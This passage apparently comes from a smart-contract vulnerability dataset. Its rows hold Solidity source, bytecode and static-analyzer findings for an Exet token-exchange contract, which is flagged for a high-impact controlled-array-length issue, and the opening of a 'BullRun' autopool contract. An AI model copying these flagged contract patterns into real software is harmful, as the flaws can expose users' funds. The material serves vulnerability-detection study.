900460ff161561052657600080fd5b610531848484610a2b565b949350505050565b601281565b60035433600160a060020a0390811691161461055957600080fd5b60035460a060020a900460ff16151561057157600080fd5b6003805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60035433600160a060020a039081169116146105d857600080fd5b6007805460ff1916911515919091179055565b60075460ff1681565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff161561061e57600080fd5b6104ff8383610bad565b600160a060020a031660009081526001602052604090205490565b60045481565b60035433600160a060020a0390811691161461066457600080fd5b60035460a060020a900460ff161561067b57600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600354600160a060020a031681565b60408051908101604052600581527f5365656c65000000000000000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff161561072d57600080fd5b6104ff8383610ca7565b60055460009033600160a060020a0390811691161461075557600080fd5b8260005461076e82600454610da290919063ffffffff16565b111561077957600080fd5b82156107c657600160a060020a0385166000908152600660205260409020546107a8908563ffffffff610da216565b600160a060020a038616600090815260066020526040902055610809565b600160a060020a0385166000908152600160205260409020546107ef908563ffffffff610da216565b600160a060020a0386166000908152600160205260409020555b60045461081c908563ffffffff610da216565b600455506001949350505050565b60035460009060a060020a900460ff161561084457600080fd5b6104ff8383610db1565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600754600090819060ff16151560011461089257600080fd5b600091505b825182101561091f578282815181106108ac57fe5b90602001906020020151600160a060020a0381166000908152600660209081526040808320546001909252909120549192506108ee919063ffffffff610da216565b600160a060020a03821660009081526001602081815260408084209490945560069052918120559190910190610897565b505050565b60035433600160a060020a0390811691161461093f57600080fd5b600160a060020a038116151561095457600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6000600160a060020a0383161515610a4257600080fd5b600160a060020a038416600090815260016020526040902054821115610a6757600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054821115610a9a57600080fd5b600160a060020a038416600090815260016020526040902054610ac3908363ffffffff610e5516565b600160a060020a038086166000908152600160205260408082209390935590851681522054610af8908363ffffffff610da216565b600160a060020a03808516600090815260016020908152604080832094909455878316825260028152838220339093168252919091522054610b40908363ffffffff610e5516565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610c0a57600160a060020a033381166000908152600260209081526040808320938816835292905290812055610c41565b610c1a818463ffffffff610e5516565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b6000600160a060020a0383161515610cbe57600080fd5b600160a060020a033316600090815260016020526040902054821115610ce357600080fd5b600160a060020a033316600090815260016020526040902054610d0c908363ffffffff610e5516565b600160a060020a033381166000908152600160205260408082209390935590851681522054610d41908363ffffffff610da216565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b6000828201838110156104ff57fe5b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610de9908363ffffffff610da216565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600082821115610e6157fe5b509003905600a165627a7a723058200b88ee84b71fa4c87643ea8cb3b0331eecf48995d5a38524f2a63cb560c1164d0029 | {"success": true, "error": null, "results": {}} | 821 |
0x28e5fe0ad29597dc290c055eef59c4f582a7a056 | pragma solidity 0.4.26;
contract Rootex {
string public name;
string public symbol;
uint8 public decimals;
string public author;
uint public offerRef;
uint256 internal PPT;
bytes32 internal SYMBOL;
mapping (bytes32 => uint256) public limits;
mapping (bytes32 => uint256) public supplies;
mapping (bytes32 => mapping (address => uint256)) public balances;
mapping (uint => Market) public markets;
struct Market {
bytes32 askCoin;
bytes32 ownCoin;
uint256 ask2own;
uint256 value;
uint256 taken;
address maker;
uint time; }
event Transfer (address indexed from, address indexed to, uint256 value);
event Move (bytes32 indexed coin, address indexed from, address indexed to, uint256 value);
event Sell (uint refno, bytes32 indexed askCoin, bytes32 indexed ownCoin, uint256 ask2own, address indexed maker);
event Buy (uint indexed refno, address indexed taker, uint256 paidValue);
constructor () public {
PPT = 10**18;
decimals = 18;
}
function tocoin (string memory coinSymbol)
internal pure returns (bytes32) {
return (keccak256(abi.encodePacked(coinSymbol)));
}
function move (bytes32 coin, address from, address to, uint256 value)
internal {
require (value<=balances[coin][from]);
require (balances[coin][to]+value>balances[coin][to]);
uint256 sum = balances[coin][from]+balances[coin][to];
balances[coin][from] -= value;
balances[coin][to] += value;
assert (balances[coin][from]+balances[coin][to]==sum);
}
function mint (bytes32 coin, address to, uint256 value)
internal {
require (limits[coin]==0||limits[coin]>=supplies[coin]+value);
require (balances[coin][to]+value>balances[coin][to]);
uint256 dif = supplies[coin]-balances[coin][to];
supplies[coin] += value;
balances[coin][to] += value;
assert (supplies[coin]-balances[coin][to]==dif);
}
function burn (bytes32 coin, address from, uint256 value)
internal {
require (value<=balances[coin][from]);
uint256 dif = supplies[coin]-balances[coin][from];
supplies[coin] -= value;
balances[coin][from] -= value;
assert (supplies[coin]-balances[coin][from]==dif);
}
function swap (bytes32 coin1, uint256 value1, bytes32 coin2, uint256 value2)
internal {
burn (coin1, msg.sender, value1);
mint (coin2, msg.sender, value2);
}
function deduct (Market storage mi, uint256 value)
internal {
uint256 sum = mi.value+mi.taken;
mi.value -= value;
mi.taken += value;
assert (mi.value+mi.taken==sum);
}
function take (uint refno, address taker, uint256 fitValue)
internal returns (uint256) {
Market storage mi = markets[refno];
require (mi.value>0&&mi.ask2own>0, "#data");
require (mi.time==0||mi.time>=now, "#time");
uint256 askValue = PPT*mi.value/mi.ask2own;
uint256 ownValue = fitValue*mi.ask2own/PPT;
if (askValue>fitValue) askValue = fitValue;
if (ownValue>mi.value) ownValue = mi.value;
move (mi.askCoin, taker, mi.maker, askValue);
move (mi.ownCoin, address(this), taker, ownValue);
deduct (mi, ownValue);
return askValue;
}
// PUBLIC METHODS
function post (bytes32 askCoin, bytes32 ownCoin, uint256 ask2own, uint256 value, uint time) public returns (bool success) {
require (time==0||time>now, "#time");
require (value>0&&ask2own>0, "#values");
move (ownCoin, msg.sender, address(this), value);
Market memory mi;
mi.askCoin = askCoin;
mi.ownCoin = ownCoin;
mi.ask2own = ask2own;
mi.maker = msg.sender;
mi.value = value;
mi.time = time;
markets[++offerRef] = mi;
emit Sell (offerRef, mi.askCoin, mi.ownCoin, mi.ask2own, mi.maker);
return true;
}
function unpost (uint refno) public returns (bool success) {
Market storage mi = markets[refno];
require (mi.value>0, "#data");
require (mi.maker==msg.sender, "#user");
require (mi.time==0||mi.time<now, "#time");
move (mi.ownCoin, address(this), mi.maker, mi.value);
mi.value = 0;
return true;
}
function acquire (uint refno, uint256 fitValue) public returns (bool success) {
fitValue = take (refno, msg.sender, fitValue);
emit Buy (refno, msg.sender, fitValue);
return true;
}
function who (uint surf, bytes32 askCoin, bytes32 ownCoin, uint256 ask2own, uint256 value) public view returns (uint found) {
uint pos = offerRef<surf?1:offerRef-surf+1;
for (uint i=pos; i<=offerRef; i++) {
Market memory mi = markets[i];
if (mi.askCoin==askCoin&&mi.ownCoin==ownCoin&&mi.value>value&&mi.ask2own>=ask2own&&(mi.time==0||mi.time>=now)) return(i);
}
}
// ERC20 METHODS
function balanceOf (address wallet) public view returns (uint256) {
return balances[SYMBOL][wallet];
}
function totalSupply () public view returns (uint256) {
return supplies[SYMBOL];
}
function transfer (address to, uint256 value) public returns (bool success) {
move (SYMBOL, msg.sender, to, value);
emit Transfer (msg.sender, to, value);
return true;
}
function transfer (bytes32 coin, address to, uint256 value) public returns (bool success) {
move (coin, msg.sender, to, value);
emit Move (coin, msg.sender, to, value);
return true;
}
}
contract Exet is Rootex {
address public owner;
address[] public adminsList;
mapping (address => bool) public listedAdmins;
mapping (address => bool) public activeAdmins;
string[] public symbolsList;
mapping (bytes32 => bool) public listedCoins;
mapping (bytes32 => bool) public lockedCoins;
mapping (bytes32 => uint256) public coinPrices;
string constant ETH = "ETH";
bytes32 constant ETHEREUM = 0xaaaebeba3810b1e6b70781f14b2d72c1cb89c0b2b320c43bb67ff79f562f5ff4;
address constant PROJECT = 0x537ca62B4c232af1ef82294BE771B824cCc078Ff;
event Admin (address user, bool active);
event Coin (string indexed coinSymbol, string coinName, address maker, uint256 rate);
event Deposit (string indexed coinSymbol, address indexed maker, uint256 value);
event Withdraw (string indexed coinSymbol, address indexed maker, uint256 value);
constructor (uint sysCost, uint ethCost) public {
author = "ASINERUM INTERNATIONAL";
name = "ETHEREUM CRYPTO EXCHANGE TOKEN";
symbol = "EXET";
owner = msg.sender;
newadmin (owner, true);
SYMBOL = tocoin(symbol);
newcoin (symbol, name, sysCost*PPT);
newcoin (ETH, "ETHEREUM", ethCost*PPT);
}
function newadmin (address user, bool active)
internal {
if (!listedAdmins[user]) {
listedAdmins[user] = true;
adminsList.push (user);
}
activeAdmins[user] = active;
emit Admin (user, active);
}
function newcoin (string memory coinSymbol, string memory coinName, uint256 rate)
internal {
bytes32 coin = tocoin (coinSymbol);
if (!listedCoins[coin]) {
listedCoins[coin] = true;
symbolsList.push (coinSymbol);
}
coinPrices[coin] = rate;
emit Coin (coinSymbol, coinName, msg.sender, rate);
}
// GOVERNANCE FUNCTIONS
function adminer (address user, bool active) public {
require (msg.sender==owner, "#owner");
newadmin (user, active);
}
function coiner (string memory coinSymbol, string memory coinName, uint256 rate) public {
require (activeAdmins[msg.sender], "#admin");
newcoin (coinSymbol, coinName, rate);
}
function lock (bytes32 coin) public {
require (msg.sender==owner, "#owner");
require (!lockedCoins[coin], "#coin");
lockedCoins[coin] = true;
}
function lim (bytes32 coin, uint256 value) public {
require (activeAdmins[msg.sender], "#admin");
require (limits[coin]==0, "#coin");
limits[coin] = value;
}
// PUBLIC METHODS
function () public payable {
deposit (ETH);
}
function deposit () public payable returns (bool success) {
return deposit (symbol);
}
function deposit (string memory coinSymbol) public payable returns (bool success) {
return deposit (coinSymbol, msg.sender);
}
function deposit (string memory coinSymbol, address to) public payable returns (bool success) {
bytes32 coin = tocoin (coinSymbol);
uint256 crate = coinPrices[coin];
uint256 erate = coinPrices[ETHEREUM];
require (!lockedCoins[coin], "#coin");
require (crate>0, "#token");
require (erate>0, "#ether");
require (msg.value>0, "#value");
uint256 value = msg.value*erate/crate;
mint (coin, to, value);
mint (SYMBOL, PROJECT, value);
emit Deposit (coinSymbol, to, value);
return true;
}
function withdraw (string memory coinSymbol, uint256 value) public returns (bool success) {
bytes32 coin = tocoin (coinSymbol);
uint256 crate = coinPrices[coin];
uint256 erate = coinPrices[ETHEREUM];
require (crate>0, "#token");
require (erate>0, "#ether");
require (value>0, "#value");
burn (coin, msg.sender, value);
mint (SYMBOL, PROJECT, value);
msg.sender.transfer (value*crate/erate);
emit Withdraw (coinSymbol, msg.sender, value);
return true;
}
function swap (bytes32 coin1, uint256 value1, bytes32 coin2) public returns (bool success) {
require (!lockedCoins[coin2], "#target");
uint256 price1 = coinPrices[coin1];
uint256 price2 = coinPrices[coin2];
require (price1>0, "#coin1");
require (price2>0, "#coin2");
require (value1>0, "#input");
uint256 value2 = value1*price1/price2;
swap (coin1, value1, coin2, value2);
mint (SYMBOL, PROJECT, value2);
return true;
}
function lens () public view returns (uint admins, uint symbols) {
admins = adminsList.length;
symbols = symbolsList.length;
}
}
| 0x6080604052600436106101b65763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166301670ba981146101f757806306fdde0314610211578063112666b71461029b57806318160ddd146102c95780632b1edde9146102f057806330b39a621461031c578063313ce567146103775780633feb1bd8146103a257806350b49f2d146103c9578063548b0de9146103e15780635c1b7d38146103fc578063616fe80014610414578063619006e1146104ad57806370a08231146104c557806370d73686146104e657806372bb2bb4146104fb5780637789b87d1461051c5780637bc6f6281461053a578063870684fa146105555780638897f6cd146105765780638da5cb5b1461058e57806395d89b41146105bf5780639be37a97146105d4578063a26e11861461062b578063a470529414610677578063a6c3e6b91461068f578063a9059cbb146106a4578063af1d8b77146106c8578063b1283e77146106ec578063c2b5f1ab14610745578063cc3db32f1461075d578063d0e30db014610781578063d1f74d4c14610789578063d93d7361146107af578063f49d66a3146107d3575b6101f46040805190810160405280600381526020017f45544800000000000000000000000000000000000000000000000000000000008152506107eb565b50005b34801561020357600080fd5b5061020f6004356107fd565b005b34801561021d57600080fd5b506102266108e1565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610260578181015183820152602001610248565b50505050905090810190601f16801561028d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102a757600080fd5b506102b061096f565b6040805192835260208301919091528051918290030190f35b3480156102d557600080fd5b506102de610979565b60408051918252519081900360200190f35b3480156102fc57600080fd5b5061030860043561098f565b604080519115158252519081900360200190f35b34801561032857600080fd5b506040805160206004803580820135601f810184900484028501840190955284845261030894369492936024939284019190819084018382808284375094975050933594506109a49350505050565b34801561038357600080fd5b5061038c610c20565b6040805160ff9092168252519081900360200190f35b3480156103ae57600080fd5b50610308600435600160a060020a0360243516604435610c29565b3480156103d557600080fd5b50610226600435610c84565b3480156103ed57600080fd5b50610308600435602435610cf8565b34801561040857600080fd5b506102de600435610d49565b34801561042057600080fd5b506040805160206004803580820135601f810184900484028501840190955284845261020f94369492936024939284019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a9998810197919650918201945092508291508401838280828437509497505093359450610d5b9350505050565b3480156104b957600080fd5b50610308600435610dd4565b3480156104d157600080fd5b506102de600160a060020a0360043516610f43565b3480156104f257600080fd5b506102de610f6d565b34801561050757600080fd5b50610308600160a060020a0360043516610f73565b34801561052857600080fd5b50610308600435602435604435610f88565b34801561054657600080fd5b5061020f600435602435611161565b34801561056157600080fd5b50610308600160a060020a0360043516611240565b34801561058257600080fd5b50610308600435611255565b34801561059a57600080fd5b506105a361126a565b60408051600160a060020a039092168252519081900360200190f35b3480156105cb57600080fd5b50610226611279565b6040805160206004803580820135601f810184900484028501840190955284845261030894369492936024939284019190819084018382808284375094975050509235600160a060020a031693506112d392505050565b6040805160206004803580820135601f81018490048402850184019095528484526103089436949293602493928401919081908401838280828437509497506107eb9650505050505050565b34801561068357600080fd5b506105a3600435611566565b34801561069b57600080fd5b5061022661158e565b3480156106b057600080fd5b50610308600160a060020a03600435166024356115e9565b3480156106d457600080fd5b506102de600435602435604435606435608435611642565b3480156106f857600080fd5b5061070460043561174f565b6040805197885260208801969096528686019490945260608601929092526080850152600160a060020a031660a084015260c0830152519081900360e00190f35b34801561075157600080fd5b506102de600435611795565b34801561076957600080fd5b506103086004356024356044356064356084356117a7565b61030861196e565b34801561079557600080fd5b5061020f600160a060020a03600435166024351515611a0b565b3480156107bb57600080fd5b506102de600435600160a060020a0360243516611a7b565b3480156107df57600080fd5b506102de600435611a98565b60006107f782336112d3565b92915050565b600b54600160a060020a0316331461085f576040805160e560020a62461bcd02815260206004820152600660248201527f236f776e65720000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b60008181526011602052604090205460ff16156108c6576040805160e560020a62461bcd02815260206004820152600560248201527f23636f696e000000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b6000908152601160205260409020805460ff19166001179055565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156109675780601f1061093c57610100808354040283529160200191610967565b820191906000526020600020905b81548152906001019060200180831161094a57829003601f168201915b505050505081565b600c54600f549091565b6006546000908152600860205260409020545b90565b60106020526000908152604090205460ff1681565b6000806000806109b386611aaa565b6000818152601260205260408120547faaaebeba3810b1e6b70781f14b2d72c1cb89c0b2b320c43bb67ff79f562f5ff482527f8c31ff53d2b45fe9c5a26dea714c6a8d2f296e0db7061020696ce2c22c194a8c5492955093509091508211610a65576040805160e560020a62461bcd02815260206004820152600660248201527f23746f6b656e0000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b60008111610abd576040805160e560020a62461bcd02815260206004820152600660248201527f2365746865720000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b60008511610b15576040805160e560020a62461bcd02815260206004820152600660248201527f2376616c75650000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b610b20833387611b74565b610b4160065473537ca62b4c232af1ef82294be771b824ccc078ff87611bf8565b336108fc82878502811515610b5257fe5b049081150290604051600060405180830381858888f19350505050158015610b7e573d6000803e3d6000fd5b5033600160a060020a0316866040518082805190602001908083835b60208310610bb95780518252601f199092019160209182019101610b9a565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208c835293519395507f7a5e5c901f9da945e2028bd646eb1f6842dff416e862cfa502e0d3408635143a94509083900301919050a350600195945050505050565b60025460ff1681565b6000610c3784338585611cb8565b604080518381529051600160a060020a03851691339187917f880c437808c52442f58acb09fe308a3fb603e398e6bf2ddb86d240c718246d23919081900360200190a45060019392505050565b600f805482908110610c9257fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152935090918301828280156109675780601f1061093c57610100808354040283529160200191610967565b6000610d05833384611d68565b604080518281529051919350339185917f3b599f6217e39be59216b60e543ce0d4c7d534fe64dd9d962334924e7819894e919081900360200190a350600192915050565b60076020526000908152604090205481565b336000908152600e602052604090205460ff161515610dc4576040805160e560020a62461bcd02815260206004820152600660248201527f2361646d696e0000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b610dcf838383611ee2565b505050565b6000818152600a6020526040812060038101548210610e3d576040805160e560020a62461bcd02815260206004820152600560248201527f2364617461000000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b6005810154600160a060020a03163314610ea1576040805160e560020a62461bcd02815260206004820152600560248201527f2375736572000000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b60068101541580610eb55750428160060154105b1515610f0b576040805160e560020a62461bcd02815260206004820152600560248201527f2374696d65000000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600181015460058201546003830154610f3292913091600160a060020a0390911690611cb8565b600060038201556001915050919050565b6006546000908152600960209081526040808320600160a060020a03949094168352929052205490565b60045481565b600e6020526000908152604090205460ff1681565b60008181526011602052604081205481908190819060ff1615610ff5576040805160e560020a62461bcd02815260206004820152600760248201527f2374617267657400000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600087815260126020526040808220548783529082205490945092508311611067576040805160e560020a62461bcd02815260206004820152600660248201527f23636f696e310000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600082116110bf576040805160e560020a62461bcd02815260206004820152600660248201527f23636f696e320000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b60008611611117576040805160e560020a62461bcd02815260206004820152600660248201527f23696e7075740000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b8183870281151561112457fe5b04905061113387878784612084565b61115460065473537ca62b4c232af1ef82294be771b824ccc078ff83611bf8565b5060019695505050505050565b336000908152600e602052604090205460ff1615156111ca576040805160e560020a62461bcd02815260206004820152600660248201527f2361646d696e0000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b6000828152600760205260409020541561122e576040805160e560020a62461bcd02815260206004820152600560248201527f23636f696e000000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b60009182526007602052604090912055565b600d6020526000908152604090205460ff1681565b60116020526000908152604090205460ff1681565b600b54600160a060020a031681565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156109675780601f1061093c57610100808354040283529160200191610967565b60008060008060006112e487611aaa565b6000818152601260209081526040808320547f8c31ff53d2b45fe9c5a26dea714c6a8d2f296e0db7061020696ce2c22c194a8c546011909352922054929650909450925060ff1615611380576040805160e560020a62461bcd02815260206004820152600560248201527f23636f696e000000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b600083116113d8576040805160e560020a62461bcd02815260206004820152600660248201527f23746f6b656e0000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b60008211611430576040805160e560020a62461bcd02815260206004820152600660248201527f2365746865720000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b60003411611488576040805160e560020a62461bcd02815260206004820152600660248201527f2376616c75650000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b8282340281151561149557fe5b0490506114a3848783611bf8565b6114c460065473537ca62b4c232af1ef82294be771b824ccc078ff83611bf8565b85600160a060020a0316876040518082805190602001908083835b602083106114fe5780518252601f1990920191602091820191016114df565b51815160209384036101000a60001901801990921691161790526040805192909401829003822088835293519395507fd327b35e36b3981157588978d60961f5c09dc2926008abb81dd77b1197a416ed94509083900301919050a35060019695505050505050565b600c80548290811061157457fe5b600091825260209091200154600160a060020a0316905081565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156109675780601f1061093c57610100808354040283529160200191610967565b60006115f9600654338585611cb8565b604080518381529051600160a060020a0385169133917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b600080600061164f6121ba565b8860045410611665578860045403600101611668565b60015b92508291505b600454821161174357506000818152600a6020908152604091829020825160e081018452815480825260018301549382019390935260028201549381019390935260038101546060840152600481015460808401526005810154600160a060020a031660a08401526006015460c0830152881480156116f05750602081015187145b80156116ff5750848160600151115b801561170f575085816040015110155b801561172b575060c0810151158061172b5750428160c0015110155b1561173857819350611743565b60019091019061166e565b50505095945050505050565b600a60205260009081526040902080546001820154600283015460038401546004850154600586015460069096015494959394929391929091600160a060020a03169087565b60126020526000908152604090205481565b60006117b16121ba565b8215806117bd57504283115b1515611813576040805160e560020a62461bcd02815260206004820152600560248201527f2374696d65000000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b6000841180156118235750600085115b1515611879576040805160e560020a62461bcd02815260206004820152600760248201527f2376616c75657300000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b61188586333087611cb8565b868152602080820187815260408084018881523360a086019081526060860189815260c087018981526004805460019081018083556000908152600a8a528790208a5180825598519181018290559551600287018190559351600387015560808a015186830155935160058601805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03909216918217905591516006909501949094559254845190815295860152825191949093927f19efb899e1eb25518020000407690b98b2e9b3fb42f5cee2db975310fcf0e1ef92918290030190a45060019695505050505050565b60018054604080516020600284861615610100026000190190941693909304601f8101849004840282018401909252818152600093611a0693919290918301828280156119fc5780601f106119d1576101008083540402835291602001916119fc565b820191906000526020600020905b8154815290600101906020018083116119df57829003601f168201915b50505050506107eb565b905090565b600b54600160a060020a03163314611a6d576040805160e560020a62461bcd02815260206004820152600660248201527f236f776e65720000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b611a77828261209a565b5050565b600960209081526000928352604080842090915290825290205481565b60086020526000908152604090205481565b6000816040516020018082805190602001908083835b60208310611adf5780518252601f199092019160209182019101611ac0565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b60208310611b425780518252601f199092019160209182019101611b23565b5181516020939093036101000a6000190180199091169216919091179052604051920182900390912095945050505050565b6000838152600960209081526040808320600160a060020a0386168452909152812054821115611ba357600080fd5b506000838152600960209081526040808320600160a060020a038616845282528083208054878552600890935292208054848103825583548590039384905590549190039190038114611bf257fe5b50505050565b6000838152600760205260408120541580611c2f575060008481526008602090815260408083205460079092529091205490830111155b1515611c3a57600080fd5b6000848152600960209081526040808320600160a060020a038716845290915290205482810111611c6a57600080fd5b506000838152600960209081526040808320600160a060020a0386168452825280832080548785526008909352922080548481018255835485019384905590549190039190038114611bf257fe5b6000848152600960209081526040808320600160a060020a0387168452909152812054821115611ce757600080fd5b6000858152600960209081526040808320600160a060020a038716845290915290205482810111611d1757600080fd5b506000848152600960209081526040808320600160a060020a03868116855292528083208054928716845292208054848103825583548501938490559054910191018114611d6157fe5b5050505050565b6000838152600a6020526040812060038101548290819081108015611d91575060008360020154115b1515611de7576040805160e560020a62461bcd02815260206004820152600560248201527f2364617461000000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b60068301541580611dfc575042836006015410155b1515611e52576040805160e560020a62461bcd02815260206004820152600560248201527f2374696d65000000000000000000000000000000000000000000000000000000604482015290519081900360640190fd5b8260020154836003015460055402811515611e6957fe5b04915060055483600201548602811515611e7f57fe5b04905084821115611e8e578491505b8260030154811115611ea1575060038201545b82546005840154611ebe91908890600160a060020a031685611cb8565b611ece8360010154308884611cb8565b611ed88382612193565b5095945050505050565b6000611eed84611aaa565b60008181526010602052604090205490915060ff161515611f685760008181526010602090815260408220805460ff19166001908117909155600f805491820180825593528651611f65927f8d1108e10bcb7c27dddfc02ed9d693a074039d026cf4ea4240b40f7d581ac802909201918801906121f6565b50505b6000818152601260209081526040918290208490559051855186928291908401908083835b60208310611fac5780518252601f199092019160209182019101611f8d565b51815160209384036101000a6000190180199092169116179052604080519290940182900382203383830181905294830189905260608084528a519084015289519096507f44905d5fb3adbdc8639f8dc23975e715ac1e019ed6abe08c62ed7be923edb5039550899493508892918291608083019187019080838360005b8381101561204257818101518382015260200161202a565b50505050905090810190601f16801561206f5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a250505050565b61208f843385611b74565b611bf2823383611bf8565b600160a060020a0382166000908152600d602052604090205460ff16151561212f57600160a060020a0382166000818152600d60205260408120805460ff19166001908117909155600c805491820181559091527fdf6966c971051c3d54ec59162606531493a51404a002842f56009d7e5cf4a8c701805473ffffffffffffffffffffffffffffffffffffffff191690911790555b600160a060020a0382166000818152600e6020908152604091829020805460ff191685151590811790915582519384529083015280517f132a9997e52e2c9a263663f4e0d70844d7e683776839188028d514deea1fb13e9281900390910190a15050565b600482018054600384018054848103918290558483019384905590910191018114610dcf57fe5b6040805160e081018252600080825260208201819052918101829052606081018290526080810182905260a0810182905260c081019190915290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061223757805160ff1916838001178555612264565b82800160010185558215612264579182015b82811115612264578251825591602001919060010190612249565b50612270929150612274565b5090565b61098c91905b80821115612270576000815560010161227a5600a165627a7a72305820de704b3364840a0e3e7b4cf808df630abde395e607a691d5cd0d28a9bbc950560029 | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 822 |
0xf56aeeba4c9307805513888cfb75eb5883e761a0 | /**
*Submitted for verification at Etherscan.io on 2020-05-24
*/
/**
*Submitted for verification at Etherscan.io on 2020-05-23
*/
/*
██████╗░██╗░░░██╗██╗░░░░░██╗░░░░░██████╗░██╗░░░██╗███╗░░██╗
██╔══██╗██║░░░██║██║░░░░░██║░░░░░██╔══██╗██║░░░██║████╗░██║
██████╦╝██║░░░██║██║░░░░░██║░░░░░██████╔╝██║░░░██║██╔██╗██║
██╔══██╗██║░░░██║██║░░░░░██║░░░░░██╔══██╗██║░░░██║██║╚████║
██████╦╝╚██████╔╝███████╗███████╗██║░░██║╚██████╔╝██║░╚███║
╚═════╝░░╚═════╝░╚══════╝╚══════╝╚═╝░░╚═╝░╚═════╝░╚═╝░░╚══╝ V5
Hello
I am Bullrun,
Global One line AutoPool Smart contract.
My URL : https://bullrun2020.github.io
Hashtag: #bullrun2020
*/
pragma solidity 0.5.11 - 0.6.4;
contract BullRun {
address public ownerWallet;
uint public currUserID = 0;
uint public pool1currUserID = 0;
uint public pool2currUserID = 0;
uint public pool3currUserID = 0;
uint public pool4currUserID = 0;
uint public pool5currUserID = 0;
uint public pool6currUserID = 0;
uint public pool7currUserID = 0;
uint public pool8currUserID = 0;
uint public pool9currUserID = 0;
uint public pool10currUserID = 0;
uint public pool1activeUserID = 0;
uint public pool2activeUserID = 0;
uint public pool3activeUserID = 0;
uint public pool4activeUserID = 0;
uint public pool5activeUserID = 0;
uint public pool6activeUserID = 0;
uint public pool7activeUserID = 0;
uint public pool8activeUserID = 0;
uint public pool9activeUserID = 0;
uint public pool10activeUserID = 0;
uint public unlimited_level_price=0;
struct UserStruct {
bool isExist;
uint id;
uint referrerID;
uint referredUsers;
mapping(uint => uint) levelExpired;
}
struct PoolUserStruct {
bool isExist;
uint id;
uint payment_received;
}
mapping (address => UserStruct) public users;
mapping (uint => address) public userList;
mapping (address => PoolUserStruct) public pool1users;
mapping (uint => address) public pool1userList;
mapping (address => PoolUserStruct) public pool2users;
mapping (uint => address) public pool2userList;
mapping (address => PoolUserStruct) public pool3users;
mapping (uint => address) public pool3userList;
mapping (address => PoolUserStruct) public pool4users;
mapping (uint => address) public pool4userList;
mapping (address => PoolUserStruct) public pool5users;
mapping (uint => address) public pool5userList;
mapping (address => PoolUserStruct) public pool6users;
mapping (uint => address) public pool6userList;
mapping (address => PoolUserStruct) public pool7users;
mapping (uint => address) public pool7userList;
mapping (address => PoolUserStruct) public pool8users;
mapping (uint => address) public pool8userList;
mapping (address => PoolUserStruct) public pool9users;
mapping (uint => address) public pool9userList;
mapping (address => PoolUserStruct) public pool10users;
mapping (uint => address) public pool10userList;
